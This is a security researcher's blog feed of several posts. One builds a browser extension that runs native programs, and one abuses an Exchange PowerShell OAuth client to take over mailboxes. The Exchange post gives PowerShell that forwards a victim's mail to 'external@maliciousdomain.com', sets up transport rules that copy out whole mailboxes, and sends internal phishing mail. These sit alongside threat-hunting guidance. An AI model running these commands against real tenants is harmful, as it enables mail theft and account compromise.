<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tasos Chatziefstratiou on Medium]]></title>
        <description><![CDATA[Stories by Tasos Chatziefstratiou on Medium]]></description>
        <link>https://medium.com/@pentesttas?source=rss-4ff620c15720------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*97dgIyFj3cEkjk89K7ZNqg.jpeg</url>
            <title>Stories by Tasos Chatziefstratiou on Medium</title>
            <link>https://medium.com/@pentesttas?source=rss-4ff620c15720------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:57:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pentesttas/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building a Browser Extension that Talks to Your OS (Code Execution): How an adversary can talk…]]></title>
            <link>https://medium.com/@pentesttas/building-a-browser-extension-that-talks-to-your-os-code-execution-how-an-adversary-can-talk-9f6096bbb53a?source=rss-4ff620c15720------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f6096bbb53a</guid>
            <category><![CDATA[chromium]]></category>
            <category><![CDATA[browser-extension]]></category>
            <category><![CDATA[microsoft-edge]]></category>
            <category><![CDATA[code-execution]]></category>
            <dc:creator><![CDATA[Tasos Chatziefstratiou]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 20:59:29 GMT</pubDate>
            <atom:updated>2026-01-28T20:59:29.230Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building a Browser Extension that Talks to Your OS (Code Execution): How an adversary can talk natively (Dive into Chrome Native Messaging)</h3><p><em>How to build a Microsoft Edge extension that launches native applications using Chrome’s Native Messaging API</em></p><p>In this post, I’ll walk you through building a practical example: a Microsoft Edge extension that launches Notepad (or any native application) using Chrome’s Native Messaging API. We’ll cover the architecture, implementation, security considerations, and provide complete working code.</p><blockquote>This code execution method isn’t well documented and threat actors are using it for launching Windows native apps, running scripts and exploiting deeper organizations.</blockquote><h3>What is Chrome Native Messaging?</h3><p>Chrome Native Messaging is a communication protocol that allows browser extensions to exchange messages with native applications installed on the user’s computer. Think of it as a secure pipe that connects JavaScript running in your browser to programs running on your operating system.</p><h3>Why “Chrome” Native Messaging in Edge?</h3><p>Microsoft Edge is built on Chromium, the same open-source project that powers Google Chrome. This means Edge supports all the same APIs, including Native Messaging. In fact, Edge extensions use the exact same chrome.runtime API namespace!</p><h3>The Communication Flow and Code Execution</h3><pre>┌─────────────────────────────────────────────────────────────┐<br>│                    Browser (Microsoft Edge)                  │<br>│                                                               │<br>│  ┌──────────┐           ┌──────────────┐                    │<br>│  │ Popup UI │ ────────→ │  Background  │                    │<br>│  │          │  message  │    Script    │                    │<br>│  └──────────┘           └──────┬───────┘                    │<br>│                                 │                             │<br>│                                 │ chrome.runtime              │<br>│                                 │ .connectNative()            │<br>└─────────────────────────────────┼─────────────────────────────┘<br>                                  │<br>                                  │ Native Messaging Protocol<br>                                  │ (stdin/stdout + JSON)<br>                                  │<br>┌─────────────────────────────────┼─────────────────────────────┐<br>│                        Operating System                       │<br>│                                 │                             │<br>│                         ┌───────▼──────────┐                 │<br>│                         │  Native Host     │                 │<br>│                         │  (Python Script) │                 │<br>│                         └───────┬──────────┘                 │<br>│                                 │                             │<br>│                         subprocess.Popen()                    │<br>│                                 │                             │<br>│                         ┌───────▼──────────┐                 │<br>│                         │   notepad.exe    │                 │<br>│                         └──────────────────┘                 │<br>└─────────────────────────────────────────────────────────────┘</pre><h3>Step 1 — The Browser Extension</h3><ul><li><strong>Popup UI</strong> — What users interact with (Optional)</li><li><strong>Background Script</strong> — Manages the native messaging connection</li><li><strong>Manifest</strong> — Declares permissions and configuration</li></ul><h3>Step 2 — The Native Messaging Host</h3><ul><li>A Python script that receives commands from the browser</li><li>Executes system-level operations (like launching Notepad)</li><li>Sends responses back to the extension</li></ul><p>The protocol is simple but must be followed exactly:</p><pre>┌─────────────────────────────────────────┐<br>│         Message Format                   │<br>├─────────────────────────────────────────┤<br>│  [4 bytes]  Message Length (uint32)     │<br>│  [N bytes]  JSON Message                │<br>└─────────────────────────────────────────┘</pre><h3>Step 3 — The Native Messaging Manifest</h3><ul><li>A JSON configuration file</li><li>Tells the browser where to find the native host</li><li>Whitelists which extensions can connect (security!)</li></ul><p>This JSON file tells the browser where to find your native host:</p><pre>{<br>  &quot;name&quot;: &quot;com.notepad.launcher&quot;,<br>  &quot;description&quot;: &quot;Native messaging host for Notepad Launcher&quot;,<br>  &quot;path&quot;: &quot;C:\\Users\\&lt;username&gt;\\notepad-launcher\\native_host.py&quot;,<br>  &quot;type&quot;: &quot;stdio&quot;,<br>  &quot;allowed_origins&quot;: [<br>    &quot;chrome-extension://YOUR_EXTENSION_ID_HERE/&quot;<br>  ]<br>}</pre><p>The allowed_origins array whitelists which extensions can connect. Only extensions with matching IDs can use your native host. This prevents other extensions from hijacking your native application.</p><p>The browser needs to know about your native host. On Windows, this is done via the registry:</p><pre>Windows Registry Editor Version 5.00<br><br>[HKEY_CURRENT_USER\Software\Microsoft\Edge\NativeMessagingHosts\com.notepad.launcher]<br>@=&quot;C:\\path\\to\\com.notepad.launcher.json&quot;</pre><p>For Chrome, the path is:</p><pre>HKEY_CURRENT_USER\Software\Google\Chrome\NativeMessagingHosts\com.notepad.launcher</pre><p><strong>On macOS/Linux:</strong> Copy the manifest to:</p><ul><li>Edge: ~/Library/Application Support/Microsoft Edge/NativeMessagingHosts/</li><li>Chrome: ~/.config/google-chrome/NativeMessagingHosts/</li></ul><h3>Installation Steps</h3><p><strong>Step 1 — Download and install the extension</strong></p><pre>git clone https://github.com/tasox/browser-extension-for-code-exec</pre><pre>1. Navigate to edge://extensions/<br>2. Enable &quot;Developer mode&quot;<br>3. Click &quot;Load unpacked&quot;<br>4. Select your extension folder<br>5. Copy the Extension ID (e.g., &quot;abcdefghijklmnopqrstuvwxyz123456&quot;)</pre><p><strong>Step 2 — Configure Native Host</strong></p><pre>1. Update com.notepad.launcher.json:<br>   - Replace YOUR_EXTENSION_ID_HERE with your actual ID<br>   - Set &quot;path&quot; to your Python script location<br><br>2. Make Python script executable (Mac/Linux):<br>   chmod +x native_host.py</pre><p><strong>Step 3 — Register with Browser</strong></p><p>Windows:</p><pre>1. Edit install_host.reg with your manifest path<br>2. Double-click to import into registry<br>3. Restart Edge</pre><p>macOS/Linux:</p><pre># Create directory<br>mkdir -p ~/Library/Application\ Support/Microsoft\ Edge/NativeMessagingHosts/<br><br># Copy manifest<br>cp com.notepad.launcher.json ~/Library/Application\ Support/Microsoft\ Edge/NativeMessagingHosts/</pre><p>Testing</p><pre>1. Click the extension icon in Edge<br>2. (Optional) Enter a file path<br>3. Click &quot;Launch Notepad&quot;<br>4. Notepad should open!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jD5Wa2jDo0wFE-3GJ5pzoQ.png" /><figcaption><strong>Launching Notepad via MsEdge</strong></figcaption></figure><h4><strong>Process Tree:</strong></h4><ul><li><strong>Grand Parent</strong><em> -&gt; Msedge.exe / Chrome.exe</em> or any other Chromium browser</li><li><strong>Parent</strong> -&gt; <em>Cmd.exe / Powershell.exe</em></li><li><strong>Parent commandline:</strong></li></ul><pre>C:\WINDOWS\system32\cmd.exe /d /s /c &quot;&quot;C:\Users\user\Desktop\Msedge_extension\notepad-launcher\native_host.py&quot; chrome-extension://bgopihobgfaakkoclgkkfkkmmhjjpjjm/ - parent-window=0&quot; &lt; \\.\pipe\chrome.nativeMessaging.in.922bf73e45672894 &gt; \\.\pipe\chrome.nativeMessaging.out.922bf73e45672894</pre><ul><li><strong>Child</strong> -&gt; Notepad.exe</li></ul><h3>Threat Hunting</h3><p>if you are lucky enough to have a browser extension that collects all these useful data from users’ browsers then it’s easy to build a baseline. However, if you belong the unfortunate category then:</p><ul><li>Inspect the command-line arguments for the MsEdge/Chrome or any other chromium browser that you might use.</li><li>Investigate child processes that have been spawned by MsEdge/Chrome and particular any Lolbin with higher attention to cmd.exe or powershell.exe</li><li>Expect more than a simply “Whoami” or “notepad.exe”. Correlate the activities, build a baseliner and look for anomalies around the time where the extension installed.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f6096bbb53a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beyond Graph API: Exploring ConsentFix Through the Exchange REST API Lens]]></title>
            <link>https://medium.com/@pentesttas/beyond-graph-api-exploring-consentfix-through-the-exchange-rest-api-lens-f4b24f1c9ecf?source=rss-4ff620c15720------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4b24f1c9ecf</guid>
            <dc:creator><![CDATA[Tasos Chatziefstratiou]]></dc:creator>
            <pubDate>Mon, 12 Jan 2026 21:04:56 GMT</pubDate>
            <atom:updated>2026-01-12T21:04:56.751Z</atom:updated>
            <content:encoded><![CDATA[<p>When <a href="https://pushsecurity.com/blog/consentfix">Push Security disclosed ConsentFix in December 2025</a>, it couldn’t go unnoticed. Here was a browser-native attack that bypassed phishing-resistant authentication, required no malware, and exploited the implicit trust placed in Microsoft’s first-party applications like Azure CLI. Although not a novel technique, when designed well, it can go unnoticed not only by end-users but also by security teams.</p><h3>What if attackers aren’t limited to Azure CLI and Graph API?</h3><p>The original ConsentFix finding demonstrated how attackers could abuse Azure CLI to gain unauthorized access to Microsoft 365 accounts through OAuth token manipulation. The attack chain was elegant in its simplicity: trick users into pasting a localhost URL containing an authorization code, exchange that code for an OAuth token, and suddenly you have access to the victim’s Microsoft resources — all without touching their password or triggering MFA.</p><p>But there’s a critical question that deserves deeper investigation: <strong>What happens when we use a different first-party application and target a different resource?</strong></p><p>While most security discussions around OAuth abuse in Microsoft ecosystems focus heavily on Azure CLI and Microsoft Graph API — the common combination for accessing Microsoft 365 data — there’s an alternative first-party application that offers attackers a different route into your organization: <strong>Microsoft Exchange REST API Based PowerShell</strong>, targeting the <strong>Office 365 Exchange Online resource</strong>.</p><h3>Why this alternative path matters</h3><p>Using Microsoft Exchange REST API Based PowerShell as the client application, combined with the Office 365 Exchange Online resource, represents a fascinating attack surface for several reasons:</p><ol><li><strong>Different first-party application</strong> — While security teams monitor Azure CLI abuse extensively, this alternative first-party app may receive less scrutiny</li><li><strong>Direct Exchange PowerShell access</strong> — The obtained token provides direct authentication to Exchange PowerShell, granting (powerful) mailbox management capabilities</li><li><strong>Distinct permission model</strong> — Exchange Online resource uses different OAuth scopes and permissions that may not be covered by the same conditional access policies targeting Graph API</li><li><strong>Legacy trust relationships</strong> — As an older authentication pathway, it often flies under the radar of modern security monitoring focused on Graph API patterns</li><li><strong>Reduced detection visibility</strong> — Organizations heavily instrument Graph API calls but may have limited logging and alerting for Exchange REST API-based authentication flows</li></ol><h3>The alternative attack path</h3><p>In my research, I discovered that instead of using Azure CLI to target Microsoft Graph API (the typical ConsentFix approach), we can leverage a different first-party application and resource combination:</p><ul><li><strong>Client Application</strong>: Microsoft Exchange REST API Based PowerShell<br>fb78d390-0c51-40cd-8e17-fdbfab77341b</li><li><strong>Target Resource</strong>: Office 365 Exchange Online<br>00000002-0000-0ff1-ce00-000000000000</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hajuGTs9l_il5e_ox4-k4w.png" /><figcaption><a href="https://entrascopes.com/?appId=fb78d390-0c51-40cd-8e17-fdbfab77341b">https://entrascopes.com/?appId=fb78d390-0c51-40cd-8e17-fdbfab77341b</a></figcaption></figure><p>By obtaining an authorization code through this client and exchanging it for an access token targeting the Exchange Online resource, I could then authenticate directly to Exchange PowerShell with mailbox access — bypassing the Graph API entirely.</p><p>This alternative path offers attackers several advantages:</p><ul><li><strong>Evade detection rules</strong> specifically tuned for Graph API patterns and Azure CLI abuse</li><li><strong>Access sensitive email data</strong> through Exchange PowerShell’s powerful cmdlets</li><li><strong>Bypass conditional access policies</strong> that target Graph API or standard Azure CLI usage</li><li><strong>Exploit monitoring gaps</strong> where security teams focus heavily on Graph API but overlook Exchange REST API abuse</li><li><strong>Leverage a different first-party app</strong> that may have different audit logging patterns</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYut3NJdyPMkRyNYjcYonw.png" /><figcaption>Authorization code request/response</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G44qseYjsoCBn36pm1SCug.png" /><figcaption>Oauth bearer token request/response</figcaption></figure><p>With these Azure/Microsoft 365 permissions, you have quite powerful access capabilities. Here’s what each permission allows:</p><ul><li><strong>AdminApi.AccessAsUser.All</strong> - Grants access to administrative APIs on behalf of the signed-in user, allowing you to perform various administrative operations.</li><li><strong>FfoPowerShell.AccessAsUser.All</strong> - Provides access to Exchange Online Protection (Forefront Online Protection) PowerShell as the user. This lets you manage security and compliance features like anti-spam, anti-malware policies, mail flow rules, and quarantine management.</li><li><strong>Group.ReadWrite.All.Sdp</strong> - Allows reading and writing all groups through the Security Default Profile. You can create, modify, and delete groups, manage memberships, and update group properties.</li><li><strong>RemotePowerShell.AccessAsUser.All</strong> - Enables remote PowerShell access to Exchange Online and other Microsoft 365 services as the user. This is very powerful for automation and bulk administrative tasks.</li><li><strong>User-OnPremisesSyncBehavior.ReadWrite.All.Sdp</strong> - Lets you read and modify on-premises sync behavior for users, controlling how user accounts sync between on-premises Active Directory and Azure AD/Entra ID.</li><li><strong>VivaFeatureAccessPolicy.Manage.All</strong>- Allows managing Microsoft Viva feature access policies, controlling which Viva features users can access.</li></ul><pre># Step 1 - Install Exchange Management Module<br>Install-Module -Name ExchangeOnlineManagement -Force<br><br># Step 2 - Import the Module<br>Import-Module ExchangeOnlineManagement</pre><pre># Step 1<br>$access_token = &quot;&lt;ACCESS TOKEN&gt;&quot;<br><br># Step 2<br>Connect-ExchangeOnline -AccessToken $access_token -UserPrincipalName &lt;can be anything&gt; -ShowBanner:$false<br><br># Step 3 <br>Get-ConnectionInformation<br><br># Step 4 <br># Disconnect-ExchangeOnline -Confirm:$false</pre><blockquote>Some functions require an elavated access token</blockquote><p>If you have an elevated access token you will get all the email addresses by users with a mailbox.</p><pre>Get-MailBox | Select WindowsEmailAddress </pre><p>Armed with your lowest privileges still you have the power to create an inbox rule and forward emails to your side.</p><pre>New-InboxRule -Mailbox &quot;&lt;email of compromised user&gt;&quot; -Name &quot;Forward All Mails&quot; -ForwardTo &quot;external@maliciousdomain.com&quot;<br><br>Remove-InboxRule -Identity &lt;Identity&gt;</pre><p>The inbox rules are visible to user’s client but often this area is ovelooked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R3UgXELP_zUJxs4k9CkSAg.png" /><figcaption>View rules through Email settings</figcaption></figure><p>More Inbox rule examples:</p><pre># Create an inbox rule for a specific mailbox<br>New-InboxRule -Mailbox &quot;user@domain.com&quot; `<br>    -Name &quot;Forward to Personal&quot; `<br>    -From &quot;boss@domain.com&quot; `<br>    -ForwardTo &quot;personal@gmail.com&quot;<br><br># Forward all emails to external address<br>New-InboxRule -Mailbox &quot;user@domain.com&quot; `<br>    -Name &quot;Forward All Mail&quot; `<br>    -ForwardTo &quot;external@domain.com&quot;<br><br># Redirect emails with specific subject<br>New-InboxRule -Mailbox &quot;user@domain.com&quot; `<br>    -Name &quot;Redirect Reports&quot; `<br>    -SubjectContainsWords &quot;Monthly Report&quot; `<br>    -RedirectTo &quot;manager@domain.com&quot;<br><br># Forward and delete<br>New-InboxRule -Mailbox &quot;user@domain.com&quot; `<br>    -Name &quot;Forward and Delete&quot; `<br>    -From &quot;sender@domain.com&quot; `<br>    -ForwardTo &quot;archive@domain.com&quot; `<br>    -DeleteMessage $true</pre><p>Send emails internally to manipulate the trust and phish more users</p><pre>Send-MailMessage -From &quot;sender@domain.com&quot; -To &quot;recipient@domain.com&quot; -Subject &quot;Test Email&quot; -Body &quot;This is a test email&quot; -SmtpServer &quot;smtp.office365.com&quot; -Port 587 -UseSsl --Credential (Get-Credential)</pre><p>If you are lucky enough to get broader access to organization’s mailboxes by compromised a high value user then, I recommend to study this resource about Powershell Exchange by <a href="https://learn.microsoft.com/en-us/powershell/module/exchangepowershell/?view=exchange-ps">Microsoft</a>. You can do very deep enumeration and not only. For example, you can set transport rule and even exfiltrate entire mailboxes</p><pre># Forward based on attachment file type<br>New-TransportRule -Name &quot;Forward PDFs&quot; `<br>    -AttachmentExtensionMatchesWords &quot;pdf&quot; `<br>    -SentTo &quot;user@domain.com&quot; `<br>    -BlindCopyTo &quot;document-archive@domain.com&quot;<br><br># Forward based on sender domain<br>New-TransportRule -Name &quot;Forward Partner Emails&quot; `<br>    -SenderDomainIs &quot;partner.com&quot; `<br>    -RecipientAddressContainsWords &quot;user@domain.com&quot; `<br>    -RedirectMessageTo &quot;partnership@domain.com&quot;<br><br># Copy all external emails<br>New-TransportRule -Name &quot;Monitor External Mail&quot; `<br>    -FromScope NotInOrganization `<br>    -SentTo &quot;user@domain.com&quot; `<br>    -BlindCopyTo &quot;security@domain.com&quot;</pre><h3>Threat Hunting</h3><ul><li>Look for a delegated token: scp (present), upn (present), appidacr: “0” or “1”</li><li><strong>Application ID</strong>: fb78d390–0c51–40cd-8e17-fdbfab77341b (This is the client app ID (PowerShell/CLI app)</li><li><strong>Resource ID</strong>: 00000002–0000–0ff1-ce00–000000000000 (This is Exchange Online (the API we accessed))</li><li><strong>Service principal ID</strong>: 00000000–0000–0000–0000–000000000000 (Acting as a USER, not an app )</li><li><strong>Resource service principal ID</strong>: a9a513c5–2bed-4a72-aec3-de2a1da95d57 (This is the service principal of Exchange Online itself</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gd1jrcRYPmosvH3D5ov7VA.png" /><figcaption>User Non-Interactive SignIn logs</figcaption></figure><p>Correlate the activity above with AuditLogs from Defender portal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lChR-T_DYSKJEHiNe0IPdg.png" /><figcaption>Microsoft 365 Defender Portal — Mailbox rule creation</figcaption></figure><p>Finally, look for Exchange Powershell UserLoggedIn via OAuth access token via a <em>UserLoggedIn</em> entry in the Defender Portal:</p><ul><li><strong>Activity</strong> = <em>UserLoggedIn</em></li><li><strong>Operation</strong> = <em>UserLoggedIn</em></li><li><strong>ResultStatus</strong> = <em>Success</em></li><li><strong>RequestType</strong> = <em>OAuth2:authorize</em></li><li><strong>Actor ID</strong> = <em>victim email address</em></li><li><strong>Object ID</strong> = <em>00000002–0000–0ff1-ce00–000000000000</em></li><li><strong>Target ID</strong> = <em>00000002–0000–0ff1-ce00–000000000000</em></li><li><strong>IsCompliant</strong> = <em>False</em></li><li><strong>IsCompliantAndManaged = </strong><em>False</em></li></ul><h3>Finale</h3><p>The attack’s impact is determined by the scope and permissions associated with the compromised access token. Nevertheless, the following points should be considered when you investigate suspicious exchange behaviors</p><ul><li>Transport rules appear in Exchange admin center.</li><li>Inbox rules can be seen by users in Outlook.</li><li>Rule creation is logged in audit logs.</li><li>Security teams often monitor for suspicious forwarding rules.</li><li>Defenders need to monitor multiple first-party apps, not just Azure CLI (e.g. SharePoint)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4b24f1c9ecf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IIS User Access Logging (UAL)]]></title>
            <link>https://medium.com/@pentesttas/iis-user-access-logging-ual-d19a278d58c3?source=rss-4ff620c15720------2</link>
            <guid isPermaLink="false">https://medium.com/p/d19a278d58c3</guid>
            <category><![CDATA[iis-uallogs]]></category>
            <category><![CDATA[iis-server]]></category>
            <category><![CDATA[useraccesslogs]]></category>
            <category><![CDATA[ual]]></category>
            <dc:creator><![CDATA[Tasos Chatziefstratiou]]></dc:creator>
            <pubDate>Sun, 02 Nov 2025 19:25:02 GMT</pubDate>
            <atom:updated>2025-11-02T19:25:02.382Z</atom:updated>
            <content:encoded><![CDATA[<p>Every now and then, I sign up for different offensive and defensive labs to level up my skills and try out tools I’m not familiar with. I like to ask tough questions and usually end up turning what I learn into scripts or automations.</p><p>What pushed me to finally write this post after a long quiet period was XintraLabs and the new WSUS (CVE-2025–59287) vulnerability.</p><p>In a perfect cybersecurity world — where SOC analysts have every Windows event log turned on, every EDR sensor working, no alert fatigue, perfect AI tools, and zero backend issues — some Windows artefacts wouldn’t really matter. But let’s be real… that world doesn’t exist (and probably won’t anytime soon).</p><h3><strong>How it started</strong></h3><p>Usually in lab exercises everything you need to solve the challenge is already there and pre-parsed, so you don’t have to do much work. Real-world cases are different: you need extra steps to collect and parse data, figure out what it means, and ask the right questions before you can solve the problem. When I read about the “<a href="https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign">Brickstorm</a>” espionage campaign, Google Mandiant highlighted how useful <em>Windows User Access Logging</em> (UAL) was in their investigation. My immediate thought was: “How can I use those logs in my lab exercises — or in real incidents that involve WSUS exploitation?” While reading Microsoft’s <a href="https://learn.microsoft.com/en-us/windows-server/administration/user-access-logging/get-started-with-user-access-logging">User Access Logging</a> article and the practical examples, I noticed that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*vUv_1G13foDt5XrvSFQXsQ.png" /><figcaption><a href="https://learn.microsoft.com/en-us/iis/manage/configuring-security/analyzing-client-usage-data-with-iis-user-access-logging">https://learn.microsoft.com/en-us/iis/manage/configuring-security/analyzing-client-usage-data-with-iis-user-access-logging</a></figcaption></figure><p>That was my “A-ha” moment but then more questions popped up “what’s <strong>iisual.exe</strong>? Is it installed by default on every IIS server?” I looked in my lab and it wasn’t in <strong>%SystemRoot%\System32\inetsrv</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*SSHRyRW8ASWhmNmx.jpg" /></figure><p>They say devil is on details! At the bottom of the article “<a href="https://learn.microsoft.com/en-us/iis/manage/configuring-security/analyzing-client-usage-data-with-iis-user-access-logging">Analyzing Client Usage Data with IIS User Access Logging</a>” there is another documentation about “<a href="https://learn.microsoft.com/en-us/troubleshoot/developer/webapps/iis/health-diagnostic-performance/troubleshoot-iis-perf-issues-or-app-errors?source=recommendations">Troubleshoot IIS performance issues or application errors using LogParser</a>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*e_iN9YSuKcFMBNJV.jpg" /></figure><h3>How it ended</h3><p>Okay, I’m starting to see light at the end of the tunnel. The light, in my case, is <a href="https://www.microsoft.com/en-us/download/details.aspx?id=24659">Microsoft’s <strong>LogParser</strong></a>. I had the logs and I knew which tool to use, I just didn’t know how to use it :)</p><p>Reading the LogParser docs made me want a holiday, but <em>ChatGPT/Copilot/Claude</em> came to the rescue. After a few back-and-forth chats, I ended up with a PowerShell script that runs <strong>LogParser.exe</strong> and exports the results to CSV.</p><pre>$src = &#39;C:\inetpub\logs\LogFiles\W3SVC1\*.log&#39;<br>$out = &#39;C:\inetpub\logs\LogFiles\W3SVC1\iis_csv&#39;<br>New-Item -ItemType Directory -Force -Path $out | Out-Null<br><br>Get-ChildItem $src | ForEach-Object {<br>  $name = [System.IO.Path]::GetFileNameWithoutExtension($_.Name)<br>  &amp; &quot;C:\Path\To\LogParser.exe&quot; `<br>    &quot;SELECT date, time,[s-ip], [cs-method], [cs-version], [cs-username], [cs-uri-stem], [cs-uri-query],<br>     [c-ip], [cs(User-Agent)], [cs(cookie)], [cs-host], [sc-status], [sc-substatus], [sc-win32-status], [cs-bytes], [sc-bytes], [time-taken]<br>     INTO &#39;$out\$name.csv&#39;<br>     FROM &#39;$($_.FullName)&#39;&quot; `<br>    -i:IISW3C -o:CSV -q:ON -headers:ON | Out-Null<br>}<br># Merge all CSVs<br>Get-ChildItem &quot;$out&quot; -Filter *.csv | ForEach-Object {Import-Csv -Path $_.FullName} | Export-Csv &quot;$out\merged.csv&quot; -NoTypeInformation</pre><p><strong>Note: </strong>After installing LogParser, copy the executable in the same directory with the IIS logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PbcgydZxYzYBH2p4uTgxWA.png" /><figcaption>Log files parsed and exported as CSVs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qpZT_5_X7y4RJA5oWWlyw.png" /><figcaption>Examining merged.csv with Timeline Explorer</figcaption></figure><p>The main reason that I wanted to parse the IIS logs and save them as CSV was the visual reporting options this file format can provide if it’s combined with the right tooling. My number one preference when I work with data is the <a href="https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html">Pandas library</a>.</p><pre>import pandas as pd<br><br>df = pd.read_csv(&quot;merged.csv&quot;)<br>df[&quot;dt&quot;] = pd.to_datetime(df[&quot;date&quot;] + &quot; &quot; + df[&quot;time&quot;], errors=&quot;coerce&quot;, utc=False)<br>df.columns = (<br>    df.columns<br>    .str.replace(&#39;-&#39;, &#39;_&#39;, regex=False)<br>    .str.replace(&#39;(&#39;, &#39;&#39;, regex=False)<br>    .str.replace(&#39;)&#39;, &#39;&#39;, regex=False)<br>)<br><br>df[&quot;sc_status&quot;] = pd.to_numeric(df[&quot;sc_status&quot;], errors=&quot;coerce&quot;)<br>df[&quot;sc_substatus&quot;] = pd.to_numeric(df[&quot;sc_substatus&quot;], errors=&quot;coerce&quot;)<br>df[&quot;sc_win32_status&quot;] = pd.to_numeric(df[&quot;sc_win32_status&quot;], errors=&quot;coerce&quot;)<br>df[&quot;time_taken&quot;] = pd.to_numeric(df[&quot;time_taken&quot;], errors=&quot;coerce&quot;)</pre><h3>Closure</h3><p>This ugly PowerShell script is far from perfect but can do the job quite well. In the future, I’ll focus on building meaningful visual reports that highlight anomalies and make complex insights easier to understand.</p><p>Thank you! :)</p><h4>References</h4><ul><li><a href="https://learn.microsoft.com/en-us/windows-server/administration/user-access-logging/get-started-with-user-access-logging">https://learn.microsoft.com/en-us/windows-server/administration/user-access-logging/get-started-with-user-access-logging</a></li><li><a href="https://learn.microsoft.com/en-us/troubleshoot/developer/webapps/iis/health-diagnostic-performance/troubleshoot-iis-perf-issues-or-app-errors?source=recommendations">https://learn.microsoft.com/en-us/troubleshoot/developer/webapps/iis/health-diagnostic-performance/troubleshoot-iis-perf-issues-or-app-errors?source=recommendations</a></li><li><a href="https://learn.microsoft.com/en-us/iis/manage/configuring-security/analyzing-client-usage-data-with-iis-user-access-logging">https://learn.microsoft.com/en-us/iis/manage/configuring-security/analyzing-client-usage-data-with-iis-user-access-logging</a></li><li><a href="https://www.microsoft.com/en-us/download/details.aspx?id=24659">https://www.microsoft.com/en-us/download/details.aspx?id=24659</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d19a278d58c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Discover Hidden GPO(s) on Active Directory using PS>ADSI]]></title>
            <link>https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81?source=rss-4ff620c15720------2</link>
            <guid isPermaLink="false">https://medium.com/p/a284b6814c81</guid>
            <category><![CDATA[gpo]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[adsi]]></category>
            <category><![CDATA[powershell]]></category>
            <dc:creator><![CDATA[Tasos Chatziefstratiou]]></dc:creator>
            <pubDate>Sat, 25 Apr 2020 10:00:27 GMT</pubDate>
            <atom:updated>2020-04-25T10:19:33.827Z</atom:updated>
            <content:encoded><![CDATA[<p>In the summer of 2019 I came across a write-up from @huykha10 named “gpo abuse you can’t see me”. I admit that the title was very attractive and it triggered me to set up a hidden GPO on my virtual Active Directory environment and study about that.I have made my research and I learnt a ton of tricks that boosted positively my confidence.The motivated write-up does not exist anymore but I will do my best to abstract the offensive side of huykha’s post.</p><p>In my quest to result in effective PowerShell script, I encountered a few posts about Active Directory enumeration using ADSI and the majority has a preference in tools that some other individuals or teams have implemented. The latter has pros and cons as you know. From a developing perspective I wanted to create a functional and easy to use script that wouldn’t need any additional <em>component or administrative rights </em>to work. From a security perspective I would like to create something that it could be used from <strong>Offensive, Defensive and Audit teams</strong> as well.</p><p><strong>Purpose</strong></p><p>Primary scope of this post is to discover and remove this potential threat from an Active Directory environment as well as share my journey and help people who want to utilize the untapped ADSI. Identification of GPO(s) that might be hidden even from users with administrative rights is an easy job but the steps that I followed in my demonstration may discourage you to use PowerShell and especially if you are not familiar with the latter. On that point some questions may emerge about the implications of a hidden GPO in an Active Directory environment and on how that is possible!</p><p>Users that are not familiar with an Offensive mindset may confront some difficulties identifying the impact of this threat. On the other hand, some Offensive teams will never present/implement this type of attack as a threat-in-scenario if they are not familiar with a defensive mindset.</p><p>Earlier, I mentioned the word ADSI and for those that aren’t comfortable with the usage and the syntax of this great component, I strongly recommend to take a quick look <a href="https://social.technet.microsoft.com/wiki/contents/articles/4231.working-with-active-directory-using-powershell-adsi-adapter.aspx">here</a>. From an offensive perspective ADSI is the dominant enumeration method from pentesters and threat agents for various reasons.</p><blockquote><em>“You don’t need to have administrative </em>rights.”</blockquote><p>Before we get deeper into PowerShell and ADSI in order to reach for the intended result lets break the huykha’s title down.</p><ol><li><strong>GPO</strong>: Group Policy<em> provides centralized management and configuration of operating systems, applications, and users’ settings in an </em><a 